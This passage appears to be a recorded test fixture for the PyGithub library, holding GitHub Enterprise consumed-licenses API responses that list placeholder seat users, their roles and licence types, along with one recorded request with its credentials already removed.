":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user039","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user040","github_com_name":"beaver-user040","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user040","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user041","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user041","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user042","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user042","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user042@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user043","github_com_name":"beaver-user043","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user043","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user044","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user044","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user044@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user045","github_com_name":"beaver-user045","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user045","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user046","github_com_name":"beaver-user046","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user046","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user047","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user047","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user047@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user048","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user048","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user049","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user049","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user049@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user050","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user050","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user050@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user051","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user051","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member","Pending invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":["beaver-general"],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user052","github_com_name":"beaver-user052","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user052","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user053","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user053","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user054","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user054","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user055","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user055","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user056","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user056","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user057","github_com_name":"beaver-user057","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user057","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user057@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user058","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user058","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user058@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user059","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user059","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user060","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user060","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user060@beaver.co.jp","total_user_accounts":1}]} + +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses?page=3 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"75ad40a2a50af04fddaa764d4818c3cd2154fe00a81115ac5393da47843abd6c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4826'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '174'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C158:2859:2C77E0:2ECFA3:64C1FE39')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user061","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user061","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user062","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user062","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user063","github_com_name":"beaver-user063","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user063","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user063@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user064","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user064","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user065","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user065","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user066","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user066","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user067","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user067","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user068","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user068","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user069","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user069","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user070","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user070","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user071","github_com_name":"beaver-user071","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user071","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user072","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user072","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user073","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user073","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user074","github_com_name":"beaver-user074","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user074","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user075","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user075","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user076","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user076","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user077","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user077","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user078","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user078","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user079","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user079","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user080","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user080","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user081","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user081","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user082","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user082","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user083","github_com_name":"beaver-user083","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user083","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user084","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user084","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user085","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user085","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user086","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user086","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user087","github_com_name":"beaver-user087","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user087","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user088","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user088","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscriptio